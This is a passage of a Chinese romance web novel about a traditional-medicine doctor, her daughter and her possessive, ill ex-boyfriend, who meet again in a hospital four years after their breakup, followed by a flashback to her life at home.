被吓惨,他口不择言:“我要跟双双告状,天底下怎么会有你这种妈……”
末尾字被面色懊悔,并躲避孩子父亲视线的谢柏延硬生生哽在喉间。
梁尔璐挑眉,打响指:“确实,我的错,双双喜欢了四年的谢叔叔可不能受伤。”
坚决拒绝内耗,她要无差别攻击,发疯创飞所有人。
那么接下来该轮到谁呢?
“林先生。”她依然夹出脆生生的清甜嗓音,“脱衣服给我看。”
而大少爷只是端着平静望她的等伺候架子,她狠狠咒骂自己的医德,皮笑肉不笑帮解衣扣,稍稍打量男人胸口的小片淤青。
得出他四年都在自律健身的结论。
不不不不是!
是太子殿下的的身子果然金贵!
“死不了,手。”够难伺候的,手也不愿意抬。
若不是谈过,逢人都得认为林瀚睿是个面瘫。
梁尔璐保持微笑的同时微抽嘴角,抓起就往男人乱拔针灸针造成的皮下淤血位置用力按:“这,也,死,不,了。”
猛盯好兄弟淡漠五官之下,被弄疼了也享受的隐藏面孔。
谢柏延咽咽唾沫,汗流浃背了。
虽然都已经这样利用别人宣泄情绪了,但回头绝对还会自残。
无视身后小心翼翼却带有落荒而逃意味的关门声,梁尔璐松开发狠指腹,甩掉林瀚睿的手,转身也走。
“梁尔璐,过来。”
男声的腔调异常熟悉。
她慢下几脚步之后才站住,瞳孔微张。
曾经那个荒唐夜,便是从这五个字开始的。
以免在唇瓣咬出明显齿痕,梁尔璐轻抿,背对男人:“你以为自己是皇帝?我去哪儿都……”
“再说‘不关你事’,我会找时间收集一根你女儿的头发。”
“我去找人。”不用被抽打,她比陀螺更自觉地转身。
乖顺的回应已给,却见林瀚睿照旧疏冷着态度,默不作声。
分秒短暂而缓慢。
许久,他苍白手指才从散乱扑克牌堆中挑出一张最大的JOKER,攥进淤血蔓延的掌心。
硬实的皱纸团被男人轻巧松落,滚到梁尔璐脚边,她深呼吸,微不可见地挪远些站位。
急急急急急!怎样才能哄好这个疯子!
怀中的出诊包属于高奢品牌,她是快要揪烂富贵的皮质边角了。
“男人?”
“嗯。”
“怕我?”
“……嗯。”
“梁医生,我只是有病而已。”林瀚睿抬手,“这里,这里。”
室内厚重的窗帘严密拢着,冷到淡淡发紫的雪白灯光,连同低温空调充斥周围。
男人单根手指先后对向的两个身体部位,她看得分明。
心理和脑子。
这谁能不怕啊。
疯子。
故意说那五个字,故意用右手食指。
梁尔璐脑袋发昏:“我我,我……治治不了这些病。”
“你可以。”
“我不不不,不可以,的。”指尖掐进细嫩手心,疼得她急中生智,临时加了个字。
试试撒娇。
“撒娇也没用。”男人笑意温柔,“过来。”
重逢以来,第一次假装的温柔。
梁尔璐不动,直勾勾交汇他诱引的眸光。
间隔双方的这段距离也没用。
林瀚睿要的是她彻底过去,但过去之后她绝对无路可退。
身体却如本能驱使一般,不听使唤地前进了两步。
害得她难以置信,搁心底里尖锐爆鸣,应激抬头,便猛然撞入林瀚睿闪着兴奋颤栗的双眼,附近病态白的脸色沾染些潮红。
当机立断跑出病房,身后渐近的脚步声让梁尔璐不敢放慢速度,几乎是快到走廊尽头才被赶超的男人拦住。
幸好是谢柏延。
“梁姐,你还好吗?”
“没事。”她也有病。
确实有点熟悉的心绞痛阵阵袭来,胸口处不时痉挛着。
越是心烦意乱,越疼。
其实从一开始就有不多招惹林瀚睿的机会,她偏偏上赶着犯贱。
“姐姐,我可是帮你瞒了四年双双的事,你这样坑我?让我怎么跟好哥们交代?他一个纯粹是陌生人的亲爸每天都看见我这位谢叔叔,不得更疯癫?”谢柏延皱眉,摆出害怕精神病人的表情,“亏我昨天还特意通知Hendrix,高尔夫球场有群臭小子扬言要欺负你这中医。”
哦,好心干坏事。
梁尔璐将药袋内的最后一些颗粒冲剂全倒进嘴里,囫囵嚼了吞咽。
苦得她眉就没松开过。
“梁姐你又……”
“闭嘴。谁告诉你双双的亲爸是他了?原来你一直是给他做私人医生,的确擅长守口如瓶。”空袋被丢进走廊垃圾桶,梁尔璐捂嘴止呕,“那你当人医生,不提醒他平时穿衣避免太紧?西装马甲特别勒腰勒肺,要风度不要命?”
“我甚至强调过,其实Hendrix已经很少穿三件套西装了,今天明明没有要去正式场合的行程,他却把整个人捯饬地更加盘靓条顺。”
谢柏延稍眯眼,腔调打趣:“果然是为了见前任。”
梁尔璐努力左耳进右耳出,心情复杂。
二十九岁的幼稚鬼。
她惊讶于博导还等在电梯旁的窗边,着手取出两袋棋子:“师叔。”
男人也向另一声朝气蓬勃的“徐叔叔”点头,目光稍微移向拐角斜侧的走廊,收回了才去揉无精打采小师侄的发顶:“尔璐,说起来我这有个活,你接不接?”
“接,我爱工作。”
“给A702 那位当私人中医。小谢当初就是被他老师推荐给病人父亲的,很久之前他父亲已经来问过我中医人选,师叔呢,始终觉得你完全不合适。”
哪怕窗户正通风,周围也闷热到难受。
梁尔璐抿唇:“不接,发神经才爱工作。”
“对,发神经才爱工作。”谢柏延打响指,“那你们聊,我先回去工作了。”
他又用跑的,回病房把一塑封袋药片拍在全是扑克牌的桌面,这种突兀的大声响也没办法让无助蜷躺在沙发的林瀚睿多动弹半分。
“手里有钱呢?”盯盯盯,怔怔放空到暗淡的眼珠子都固定了,却还有使不完的牛劲儿,死死掐按掌心。
谢柏延抓开他一直摁住肿胀淤血伤的手指:“起来吃药。”
他刚才好不容易跟翁秘书找几个患有双相情感障碍和强迫症的朋友才讨来,虽说干这档子事已经熟能生巧。
好好好,依旧纹丝不动。
除了嘴:“人在哪?”
“Hendrix。”
甚至叭叭不停。
“人在哪?去查监控,林家给医院捐楼捐款了,关系户可以调监控,你让我知道她在哪,我只要知道她在哪就够了。”
“你现在是又抑郁自责没行动力了,但说不定等我告诉你,突然重新发狂?我胳膊肘两边都拐,必须防着你折腾梁姐。”
光瞅也知道好哥们此刻异常乏累,起身与拿药的动作像没骨头支撑。
谢柏延放下水杯,趁热打铁:“你赶紧在脑子里想,极端占有欲是错的,我很清楚是错的,错的,强迫症去死。”
吵死了。
林瀚睿木然,脑子昏沉空白。
他捻过一粒,吃进,和同样抗拒多动的无力牙齿作对,偏要发狠咬碎。
*
光远离住院部还不够,梁尔璐直奔大门,这刚松了一口气,转身就见到好哥们躺在担架床。
男人的助理停下,脸色慌张:“梁先生踩着ddl赶制图画,所以长期接触、吸入国画颜料,导致矿植物颜料慢性中毒,突然呼吸困难昏迷,其实他前几天就陆续有点胸闷气短的症状了,但一直不肯就医,等画完,人也倒了。”
“你们男人都发什么疯!”
助理错愕,伸手指指自己,疑惑看向跑进医院的老板小青梅:“我?我没发疯啊?”
梁尔璐服气,急救后将近一小时已经被转普通病房了,梁奕珩这蠢货还没醒。
可以理解,圆满结束ddl大作战了是该大睡特睡,奖励自己。
可以……理解个锤子!
手机持续掉电,她去翻挂在椅子背的包,视线余光瞥着门外的小半角病号服。
对方哪怕能透过玻璃发现她在走近,也并未躲开。
“你又想干什么?”梁尔璐只敢将脑袋稍微探出门缝边缘一些。
“我不舒
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服。”
男人整个气场与嗓音的确和之前大相径庭,更虚了?
虚还乱跑?
她扣在门板的手指紧了紧:“那你进来一下,就马上回舒服的A702,这里只是不带客厅和露台的普间。”
“我我我在这里有人的,你别乱来!”说罢留了门,梁尔璐撒腿就跑原位,早知道就先不让那助理回画室处理工作。
“嗯,有个昏迷不醒的人。”
强行压低激动的分贝,她攥牢椅子扶手壮胆:“你都进来几下了!出去,出去!”
“送你。”男人却是不退,随声走近,面容疲惫地停在她半步以外,“救命恩人。”
递过的是那盒扑克牌,她条件反射后缩,腰因此硌到另侧扶手。
梁尔璐捂嘴忍会儿痛,连续盯看的打量之下,确定林瀚睿更加寡淡的琥珀眸瞳内是再没什么攻击性。
直直抵到喉口的迟疑话语,她决定问出:“你……还好吗?”
“吃药睡过了。”
不好吧,依然是病气十足,一直伸过来的五指微微颤抖,掌心的一盒牌似乎重达千斤。
手的温度绝对有变更冷。
她放弃说废话:“客气了,这太贵重,况且我拿回家也不好跟老公解释。”
谁知林瀚睿虚白的两瓣唇丝毫不饶人:“你老公,不是还在飞?满世界飞,日理万机。”
甚至弥漫茶香:“皇帝的工作比太子忙,合理,但钱这东西赚不完,听你女儿说,你的老公并不顾家。”
“是是是!我眼光差劲,年少不知太子香。”梁尔璐接连掷给这绿茶男一堆眼刀子,“可惜我讨厌喝茶,门就在那,您请。”
从前单身与他相处时,她提过“我男朋友还在外面飞呢”……
真是再也装不了有夫之妇人设了,否则只能被迫忍受林瀚睿满是言外之意的戏弄。
实在被自己气死,她把气撒到前男友身上:“我不要!”
心知肚明双方都有犟种那副德性,但梁尔璐必须承认这次赢不过。
她立刻站起,推脸色苍白的男人坐去椅子:“你精力这么旺盛,就照顾病人。”
对面床头的心电监护仪运作出规律嘀响,惹她焦躁,倒是不知空坐五分钟之余的面瘫林瀚睿是何感想,就差把梁奕珩的脸瞧出洞来了。
总归先打破沉默的不是她。
“你找的男人果然是他。”男人也终于垂落眼,片刻抬头望来,“梁小姐今天捅了呼吸困难的男人的窝,特别是这个男人,你甚至贴身陪护一个多小时,想必回家也不好跟老公解释。”
听听,病成什么可爱样了?
声线轻软徐缓,一句话里装两个“的”。
掺杂粉糯味的茶香。
梁尔璐咬牙,撕下对前男友的厚重滤镜。
林瀚睿显然也支持她撕光,毕竟欠揍地添话:“我是太子,不会照顾人。”
“这副牌不算很贵。”但识趣换了话题。
她避免触碰男人皮肤,只用拇指、食指捏起:“行了吧?”
牌盒上是乍一眼就能瞅出昂贵的黑色浮雕图纹设计与烫金工艺,有些份量。
“停。”梁尔璐当即靠向椅子,拦路打断男人站起的动作,“你先别走。”
没承想他竟是学样,果断打断她拆盒:“少两张。”
人不舒服就少动脑……傻子再敢琢磨她想法试试?
“倒霉的JOKER牌就算了,另一张上面,你写了什么?”
“只是无关紧要的广告牌。”
“林瀚睿你个傻子。”梁尔璐坚决不让步,恨不得像电钻撬开他一如既往平静的眼眸,“大傻子!我当然知道是广告牌,你到底写什么了!”
四年不见,越发看不透他。
使电钻终究是太凶,她收回。
“我不舒服。”
看得出来,弱气得风过即倒。
稍愣,她撇嘴放弃追问:“能一个人回去吗?”
“死不了。”
她又看出来了。
这家伙眼中充斥怨怼。
梁尔璐悻悻,清嗓:“我生气乱说的话就别记了。”
“我也会中毒,因为油画颜料。”
“哎!”她跟住头也不回却没忘争宠的幼稚鬼,“你千万不要多想,我单纯帮师叔送他主治的病人安全回病房,更是因为你现在不发疯。”
“对不起。”
在互为前任的关系下,道哪个歉都未免太尴尬,梁尔璐装聋跑开,凑去护士台:“你好,我需要暂时离开209病房,那个病人急救后一小时都没醒,可以麻烦你先帮我看着吗?真的吗?谢谢你!”
不过显然林瀚睿毫无感谢她千里相送的意思,自顾自走远了好一段距离。
没让她送,也没说不让。
太子脾气难伺候得很。
“我不舒服。”
熟悉的字句与嗓音第三次入耳,梁尔璐仰脸望向男人始终病恹恹的倦怠五官,往夸张了说,完全融入医院几乎全白的装修。
“梁尔璐。”
“嗯?”稍稍琢磨,她寻思林瀚睿应该是打算问出酒店那句没能说出口的话了。
倘若与分手相关,那她这回得装哑。
谁知在双方走路步调的交错之下,同样出现一个完全出乎意料的话题——
“你真的相信我有精神障碍?”
“我在报复你,梁尔璐,像四年前那样,你如今也只是被我欺骗了一次感情而已。”
“凭什么四年过去,我还是爱你?我不爱你了。”
本就仅是她无力试探下浅显怀疑的脆弱认知,此刻被男人否决,而疯狂坍塌,致使梁尔璐腿脚受到压砸,疼得她被迫减慢脚步,与林瀚睿产生了一小段的距离。
“对不起,你没生那些病当然是最好的。”
距离持续拉开着,梁尔璐皱眉忽略耳内迭起的嗡鸣,依稀听见冷峭的男声:“但是我的。”
“你只能是我的。”
彻底停下,她僵杵原地,垂眼逃避他渐远背影。
她四年前找不到任何办法。
让梁尔璐可以永远属于林瀚睿的办法。
五指攥紧,手中牌盒的触感愈发硬硌。
纯黑底色上的文字与图腾,细看并不难分辨出设计主题。
Mammon。
七宗罪中的贪婪恶魔。
5. 夏日
夏日的乏力感加重,延续入夜。
梁尔璐没心情再例行夜跑,却仍由父亲带到公园,怎么说都只愿意散步。
她慢腾腾挪,早已跑到前方的父亲停在路边叹息唠嗑:“靓仔不错,我家那个跑一步喘十口,太虚了,试试吃药和运动调理回来。”
出门没戴眼镜,她隐约可见对方的肩被父亲拍了两下:“靓仔,身体一定很好啊。”
普通的体弱惨遭夸大,梁尔璐实在不服气:“老豆你能不能别用这顺滑连招社交了,双双已经完美学到你的精髓,她白天也是这样对待一个陌生成年男性的,我是社恐没错,但她已经变成社交悍匪。”
“其实我也是身体不好才跑。”
等等,这不就是她前男友的声音?
离吓死仅差临门一脚,她连连咳嗽。
“你看,虚吧,光说个话都够呛。”
眼下她无论后退或是原地不动,对父亲来说都属于值得怀疑的怪异行为。
林瀚睿这小心思够毒。
不情不愿走近,梁尔璐装起社恐看风景,没搭理他半眼。
但架不住父亲热络招呼:“年轻人,单身?”
她保持五官幅度,坚决不露馅。
老爹太聪明也蛮窒息的。
师叔白天那番话其实暗指了“你俩什么关系我会不知道啊”。
不是……怎么知道他们这场地下恋爱的?
“我有孩子,老婆跑了。”
好一个“老婆跑了”。
梁尔璐成功被唾沫呛着,躲开父亲垂落眼皮,递来的看破不说破眸意。
“我闺女也有孩子,但生完娃身体就垮了,怎么样,你乐意结婚吗?”
“小孩自己养大的,我确定尔璐不会主动提出上床。”
“即使你乐意结婚,我和她妈咪绝对不会同意。”
“梁尔璐,你脑子同样不清醒!”
再三确定尖锐的几句话全出自父亲口中,她睁大眼,愣是瞅。
埋怨话是摆在明面的难听,被伤着的林瀚睿面露歉意。
父亲却只冷脸丢他们“在前面等你”五字。
当面拒绝梁、林两家结亲就算了,竟然还给叙旧时间?
远隔四年,太旧,懒得叙。
橘黄路灯在晴转阴云的浓黑天色中愈发昏沉,暗调光线落去林瀚睿颈间的银链,末端所缀的是一个交织型仨圆环,黑白两环以外的满圈钻石难掩珠光宝气。
整体设计低调又高调,似乎是哪家奢侈品牌来着?
抛开首饰不谈,这男人倒也是真的贵,以往努力装穷的模样……挺努力。
打心底里佩服自己的废话文学,梁尔璐眨眨持续打量项链的疑惑双眼,惊觉无声弯唇的林瀚睿抬手取下项链。
呆愣的劲儿多过于受吓,她怔在原地,任由他近身、俯身。
动作之快,男人柔软的发绺细微挨蹭她颈侧。
痒意惹得她傻住,下意识深吸一口气,迟迟没呼出去。
“呼吸。”这家伙含着笑腔揶揄,重新后退半步,伸出左手,“礼尚往来,你也把我喜欢的手链,送我,亲自给我戴上。”
唇齿间只剩嗫嚅,梁尔璐还未适应锁骨正中凹陷处的异物感。
偏凉,是属于林瀚睿的体温。
她无奈摘落,扶他手腕绕戴,撇嘴低声喃:“懂不懂啊,乱要别人戴过的翡翠……”
是有多喜欢上边那个小铃铛?幼稚地晃了又晃。
清脆声伴随男人声线:“我对那些符合自己身价的手链没兴趣,最钟意你的。”
“你是钟意报复我吧。”关系差劲归差劲,梁尔璐实在好奇,“喂,你得的哪种哮喘?然后……别管我爸说的话。”
“gaza。”
“什……啊——”
总算意识到林瀚睿顶着一张帅脸说出面目可憎的蟑螂,以及她躲男人身后攥胳膊的丢脸举动:“你这个人坏得很!”
不顾周边路人注目,她哭爹喊娘地跑向父亲:“妈咪,呜呜,老豆豆豆,老豆救命,Gaza,有gaza啊!回家回家……”
梁清泗叹气,瞧看身旁脚步急慌,可怜兮兮眨巴着泪花的女儿:“家里也有昼伏夜出的gaza,还有摸黑谈恋爱的你。”
“呦,还把人项链摸来了?”
“读书人的事不能叫摸。”
是她想要的吗?
恼!
梁尔璐将彰显长辈威严的一声轻哼过滤出耳外:“快下雨了,我还得回家给珩仔带饭。”
这病号刚醒就因为下午的课程,向医院申请了单人病房来线上授课。
站在统一制式的VIP门前,她扭眉。
但好歹不是A702。
“亲爱的珩仔,我给你带了爱吃的西芹馅不正宗虾饺哦,看在你生病的份上,我就不放笋粒欺负你了。”
完全推进门锁,她转身便被满屋子人吓得高声喊“啊”,当即背过身躲,又是“咚”地将脑袋撞到门板,叫出第二声……
捂住额头回瞅,梁尔璐发现好兄弟病床上一桌饭菜,床尾整齐杵了三个阿姨。
至于待在右边陪护椅的画家助理,正指指自己嘴,演示拉链条的动作,随即拿眼神示意她身侧——
沉默靠坐沙发的林瀚睿。
靠北啦!
“救,救救救命!”哪怕男人毫无一丝视线落来,她也拔腿飞去助理那块儿安全地带。
她气都没喘匀,阿姨倒是气定神闲:“难怪年轻人一直不吃饭,是在等老婆送的。”
惊吓够大,打嗝的劲儿说起就起。
梁尔璐屏气,难以置信地低头使眼色。
不是哥们,你为什么不吃饭啊?
是天生不爱吃饭吗?
好兄弟异常寡言,满脸“我只能帮你到这了”的信息量。
累了。
林瀚睿直勾勾盯来的目光太过于强烈。
她抬手就按压俩眉头位置的攒竹穴缓解打嗝。
多少能挡些恐怖的视线。
刚才瞧了零碎几眼。
林瀚睿此刻没再梳白天商务精英范儿的大背头,顶着一头与跑步时相同的乖软顺毛,能瞅出人畜无害的调调。
一身运动装被休闲潮牌代替,不谈全黑的宽松长裤,重点在于柠檬黄短袖的胸口有只猫咪的黑色剪影。
她搁购物软件刷到过,这T恤背面另有十多只形态各异的小猫。
该说不说太子爷这全身算下来是意外得亲民。
再看看她筷子盘发,可外穿睡衣裤加拖鞋……
忍住尴尬抠紧脚趾的冲动,梁尔璐偷瞄梁奕珩,斯文俊秀的五官笑颜温柔,可顺她的眼了。
不过显然,他正坐在床上语塞。
巧了,她正站在地上语塞。
清淡中透着豪华的病号餐?
打嗝难受得紧,她更是嫌烦地直视林瀚睿。
烦死,非要她先表态,这位爷才肯开金口:“三位可以下班了,辛苦。”
“高助理。”氛围拧巴,梁奕珩越发头疼,顺势跟着清理现场,借助门的响声做提醒,“你俩差不多行了,要么杀了我助兴?”
差不多是该迎接硝烟味了,他往上提起点被子保命,谁知首当其冲的就是自己。
“正如你说,我精力旺盛,这只是在照顾未来的合作伙伴,梁先生。”
不是哥们,真杀啊?
女人面前没兄长。
混账弟弟。
但林瀚睿对他严肃讨伐的眼神视而不见,只顾盯他的漂亮异性兄弟。
被盯得腻了,梁尔璐哼出笑。
某人回旋镖耍得可真厉害啊。
请问她能把白天说过的每一句话都撤回吗?
视线稍微从气恼却无奈的五官掠下,林瀚睿凝望她并未系满扣子的衬衫领口,除了显眼的两半截锁骨,莹白脖颈空荡荡。
其余各处都没什么细看的价值,他劲直关注她拎的食盒:“所以,我饿了。”
“你得寸进尺。”梁尔璐抱入怀中揣紧,咬牙,“又不是你亲自照顾!死夹子,禁止夹子音!”
“刚才你也看见了,我空腹夜跑。”抬手指肚子,林瀚睿不再面向她,反而对上梁奕珩冷脸注意他翡翠手链的目光。
梁尔璐无语到头,寻思自己又不是什么透视眼,看得见人类胃袋空满?
更何况……
不要啊不要啊夹子音什么的不要啊!
“你确定没饱?没气饱?”看见她和别的男人在一起,还没气饱?
谁家好人的占有欲在分手四年后依旧闹腾啊?
当机立断拆出装有虾饺的一个分装食盒放桌板,她急于
将林瀚睿带到病房外走廊解决麻烦。
腕骨位置却环上梁奕珩的五指。
大概是这动作太匆忙,他施加的力道偏重,语速反而温吞,毫无急躁意味地略缓,充满了沮丧感:“尔璐妹妹,能回来陪我吗?”
“能的,很快,你先好好吃饭,脸色还白着呢。”话落,梁尔璐当即转看林瀚睿,赶去费劲拽起散漫微笑的他离开沙发。
走廊人不多,她塞过剩余的食盒:“不用还我了。”
正要回病房,手臂遭男人攥住:“没人照顾我。”
原本已经张口打算提醒“医生”两字来严辞拒绝,再瞧他颓着面容,添话打断:“除了医生。”<
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p>好好好,这第二次干脆堵得她连嘴都没机会动。
与之前的一样,清冷声线仍然夹作可怜样儿——
“你不一样。”
“梁医生。”
梁尔璐迷惑。
等等,好像也并非刻意夹?
是她的错觉?
林瀚睿的情绪变化特别频繁、奇怪?
真的没心理疾病?
她真理不透他重逢以来做事这般黏乎的原因。
完全不似他目前用的香水,沁出些微柠檬清新。
是与白天那款不同的。
总之她今天和林瀚睿避无可避。
闯入鼻息间的气味变化成胡椒的辛香,转淡就降为雪松般冷感的木质调,隐约掺着点烟草味。
那也没见这人冷漠远离她……
“放手,我照顾你。”坐上墙沿的公共椅,梁尔璐低眼缓慢呼吸,指甲狠掐食盒边角。
到底心里憋了闷气,她伸手便抽出盘头发的竹筷,折断后握紧在掌心,使劲摁向食盒盖子。
她严重怀疑此刻若是看着林瀚睿,绝对会发疯撕烂他的帅脸。
且完全忍不住,梁尔璐抬头瞪去凶巴巴的眼神,却被男人不知所措的委屈表情惹出错愕,急急收回。
离谱。
林某人在满身潮牌服装的衬托下,油然而生一种落水小狗般清纯男高的即视感。
离谱到她总感觉能听见他T恤上的猫咪们正在低低呜咽。
对不起,是她太凶了。
但她搁这儿自我反省,林瀚睿倒是语不惊人死不休。
口吻连同五官一样丧:“你们很像,做事拖延。”
趁取出食盒的时间微微琢磨,梁尔璐晓得了是ddl关头赶工作却翻车的梁奕珩。
青梅竹马之间相似,有何奇怪?
椅面不算宽,她小心排摆带有汤汁的几只,随后划拉开手机锁屏,埋头打字:“盖子自己开,别洒了,不愿意开就等我会儿。”
“梁尔璐。”
大少爷催什么催!
男人又是无缘无故念出一声连名带姓,梁尔璐不留情面地丢他无语脸。
不耐皱着个眉做什么?甚至莫名其妙地直直盯她手机?
怎么的?难道对她花哨粉嫩的财神爷立体手机壳有意见?
太子爷真是不知百姓疾苦!
而且管得比海宽,她聊个天都不行了?
懒得多搭理,梁尔璐查看导师的回复。
【哮病,母亲怀孕时妊娠反应异常剧烈,胎儿营养不良,出生后体弱多病,造成肺气亏损,何况肺脏先天虚弱,你也知道这样本就能导致虚喘。】
糟糕透顶,不治之症。
她重新点出虚拟键盘,解释。
没错,只不过就是……
医德,问问而已。
虽说问出口的代价是必须接下太子爷私人医生的工作。
而她摁发送键的同时,直接被林瀚睿拽了腕骨,疾步带进一旁的逃生通道。
半刻不停地由他逼退至墙面,梁尔璐呼吸陡然停滞,实在不懂男人突然怒涨的攻击性。
用财神爷手机壳的人做错什么了?
混蛋,她手机屏幕着地摔了啊!
逃生通道的声控灯足够敏锐,在一片连续的大动静沉寂之后熄灭,唯独剩了游离入窗的晦暗闷湿,蝉喧微弱但浮躁。
她紧紧贴抵的薄墙,与梁奕珩病房相连。
要疯了。
林瀚睿任由衣上的褶皱被抓紧,极力克制着摩挲她微肿唇瓣,压声:“为什么分手?”
喉间的气息消耗到匮乏,因畏惧生出的颤栗层层攀附全身,梁尔璐拧眉难耐近在咫尺的嗓音。
“当初和我提分手,骗人还是真心?”
这疯子追了她一天,敢情想问的话就是这个。
男人再次欺身之际,她扭开头,半道儿被捏住下巴扳回。
长时间用力嘬吻过的地方本就异常敏感,此刻细密的轻触如同火上浇油。
她失去按秒估计时间的能力,意外感觉有断续的温凉泪水滴落在面颊,唇上的推碾力道渐渐消失。
林瀚睿分明冷脸,泪却汹涌,双眼凝视她:“梁尔璐,我一点都不需要你。”
语义属实简单,梁尔璐反倒怔得严重。
而男人一直搂着她脖子的五指抚向喉咙位置,她忙伸手去扒拉。
抗拒痒意的同时,脖颈倏忽被他掐住,令她头昏脑涨的深吻再次袭来。
双方灼烫的气息淆乱。
雨水打在玻璃窗,错落有声。
骗人还是真心。
在这之前,林瀚睿首先是她的两个愿望。
6. 旧夏日
四年前。
夜间风向偏转,吹得进窗台。
梁尔璐迎着一阵儿混有南方七月中旬潮感的闷,也只几缕,迅速被屋内除湿的冷气覆盖。
高中班群“嘀”个不停,声响热闹,远超由窗玻璃隔绝了些许的蝉鸣。
她放下手中的毛线与钩针,麻溜儿调成静音,皱眉扫了眼满书桌的中医执业医师资格考试相关教辅。
这人精神状态一垮,嘀得她联想到deadline。
杀了她。
当年为争班长头破血流的胜负欲,变成如今组织同学聚会而眼含的血泪。
群里网络e人扎堆……比她熟练伪装的e还社牛,真能吓死。
至于线上线下始终表里如一的某些,干脆狂cue她社恐黑历史,称聚会时必须要逗逗可爱i人。
杀了她,就现在。
正在输入的学委显然还没有放弃私聊。
【感谢班长,我出面肯定是你合适】
【给你点个外卖吧】
【快零点,该吃早饭了宝】
【算了我直接转账,一杯顶配豆乳玉麒麟,爱你哦宝】
眼看红包经网线过滤了的攻击值依旧炸裂,梁尔璐后仰,梗直脖子发语音:“不用,没关系,我直接一个托马斯回旋还你红包,这就转变方向滚去订民宿。”
她猛切APP。
硕士毕业后这一年左右,她为考证在父亲的中医馆凑实习期,顺带蹲家里做全职女儿备考,偶尔也会去母亲的早茶茶楼混个收银员当当,卑微赚点本省最低月薪,偷摸叫外卖解猪瘾。
工作职责除了看两间店,平时完全不需要她采买家用并硬核砍价,自然而然废得越发社恐,虽说出门在外擅长戴e人面具。
但这伪装游戏对她来说死累,通常视情况而演,一句“我社恐”行天下。
按照班群的投票结果,梁尔璐选定一家名为“灯”的民宿。
钱如流水去得快,店家更是秒速退款,甚至飞快下架了所有商品。
她当即指指点点,骂骂咧咧。
指自己,骂自己:“原来我是南粤特产,人人喊打!呜……祝老板你小子出门上班或买菜的时候找不到巨大gaza坐骑!”
收敛了演技,她清嗓接电话,对方率先劈头盖脸甩来“靓仔”。
咩啊,係靓女。
男人的鼻音疑惑:“外乡人吗?靓仔靓女,是这样的,我是刚才退您钱的民宿老板,下午的时候民宿已经被一位先生包场了,但他没用处,所以退您款,欢迎您明天光临,有现场主题布置、惊喜仪式等需求可以加我微信细说,包您满意!”
出于震惊和社恐,梁尔璐正琢磨措辞,谁知再次给打断。
“客人?您放心,我们民宿不是诈骗团伙据点或关门抓人进山的黑店,包场只是因为我好哥们下午输了赛马会。”
“不……用!”她差点咬伤舌头,“我不是这个意思,既然您退款了,我就不去了,感谢您,这么晚打扰您,对不起。”
真切打扰了。
富哥啊。
活的富哥。
她以前在港岛念中医硕士,被本地富婆室友拉去见识过赛马会。
排除满场的帅气高头大马,简直遍地有钱人。
有钱人的好哥们算得上坚持不懈,梁尔璐也预判了他笑嘻嘻的招呼词。
“靓女,那我收您标准费用怎么样?我有强迫症,不做成这单生意真的会发疯,这位狠心的小姐,你不担心我阴暗爬行的时候从天花板上掉下来摔死吗?救救我,这位善良的小姐,没错,你被我盯上了,嘴叼玫瑰。”
好的,收到。
看梁姐不给你嘴撕烂?
她继续沉默。
强烈建议强迫症先生向gaza大师请教飞行以及天花板爬行的技巧。
“那明天面对面转账。”横竖看在老板精神状态和她有得一拼的份上。
回班群公告了聚会地点,梁尔璐余光瞥到手机左上角——
23:57。
正是她阴暗爬行的绝佳时间之一。
25岁了,在家点外卖像做贼。
按经验,备注大多数情况都只是商家看,外卖小哥容易忙到没空留意。
她反手将保命符“转交给大厅管家后提醒他送上来时别按门铃,撕掉小票,谢谢”复制粘贴在地址栏。
完全清空放了购物车一天左右的烧烤订单,梁尔璐紧急戳闺蜜微信,二人熟练捏造深夜投喂好姐妹的感天动地聊天。
万一时运不济需要放烟雾弹。
目光虽然仍旧黏在记录双方狼狈为奸时刻的手机屏幕,她的右手已经伸向便签纸。
善后方式“别忘了一起扔掉没用到的一次性外卖餐具”的字迹是狂草,梁尔璐贴去桌面显眼的位置。
没错,今晚也必定成功。
包括未来的考证。
不过她这会儿是学不进半点,毕竟一日之计在于晨,还没吃早餐呢。
外卖小哥的名字潦草,仿佛脸滚键盘导致,却实力强大,总能掐准在十分钟以内送达。
接着就该轮到她争分夺秒。
只是屏息轻脚的辛苦酝酿,在开门一瞬失去了所有意义。
打开着对面防火门的大叔与梁尔璐错愕相觑。
这是她头一次在楼栋里见到他,走错一梯一户的电梯了?
男人身后空荡,缓慢出
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现一双洞洞鞋,以及用中药染护出黑亮发丝的半百潮人父亲。
将近一米九的高个儿被酒醉得晃悠,但怒目瞪够家门口墙角的外卖,抬头开始攻击她。
可恶,功亏一篑。
唯独把外卖衬托得更香了……
完全盖过对面俩人身上淡化了差不多的同款辛香。
好家伙,柳暗花明!
梁尔璐狠狠抓住转机:“老豆你大半夜瞒着妈咪溜出去喝酒吃烧烤吃独食!渣男!”
“妹仔你第几次这样偷点外卖了!臭丫头!”
甭管同时出声,她字多,最气势。
“是仪仪买给我吃的,爱信不信!”等跑回卧室落了锁,她后怕数秒前对长辈摔门的大逆不道行为。
反正都死定了,当下能吃几口是几口。
耳朵也没歇,她在等两个字。
情绪稳定妈咪冷静的一声“妹仔”小名。
梁尔璐老实开门,扒框瞅两具压倒性身影:“妈咪……妈咪,老豆他!”
“梁清泗放着,先算你的账。”梁初琅利落打断,“我和你爹地商量过了,如果你还想继续用月薪点外卖,就每个月完成四单深港反向代购,那我们非但不收回你工资,还加薪,并且允许你每个月吃五次外卖,月初月中月末,包括你想的任意两天。”
“出去多见点人,练练你这社交胆子,以后一个人跑外面工作了也畏畏缩缩?家里是有舒服的祖业能继承,但也必须学会打交道,爸爸妈妈守不了你一辈子。”
“对了。”
“妈咪请说。”
梁尔璐皱巴了脸,丧气应。
实际上爸妈喜欢的e人类型,她这面具侠都有。
但她放弃亮明一级变脸艺术家的身份。
“宝贝,外卖很香,慢慢吃。”
救。
救救她。
幻视了。
梁尔璐瞬间想起“年轻人最讨厌的阴阳怪气黄豆表情Top 10榜”。
妈咪温柔的笑容,堪比榜上一骑绝尘,稳居首位的死亡微笑黄豆。
轻声关门压了惊,她听话慢慢吃,皱眉联系好兄弟:“亲爱的珩仔,我刚才败在老豆手里,必须要出恶气,你赶紧老实被我欺负。”
听筒对面的男声含糊却沾笑:“偏头痛睡得早,祝愿我们坏女人尽快找到一个新的男人去欺负。”
“那你开免打扰静音啊,下次不准再这样秒接电话,明天我做些甜品寄给你。”八成是这位货真价实的艺术家画疯了,梁尔璐稍怔,打量通话结束界面。
她也是疯了才许愿。
从小到大都是梁奕珩被她欺负,目前想要再找个顺眼的男人,可没那么容易。
7. 旧夏日
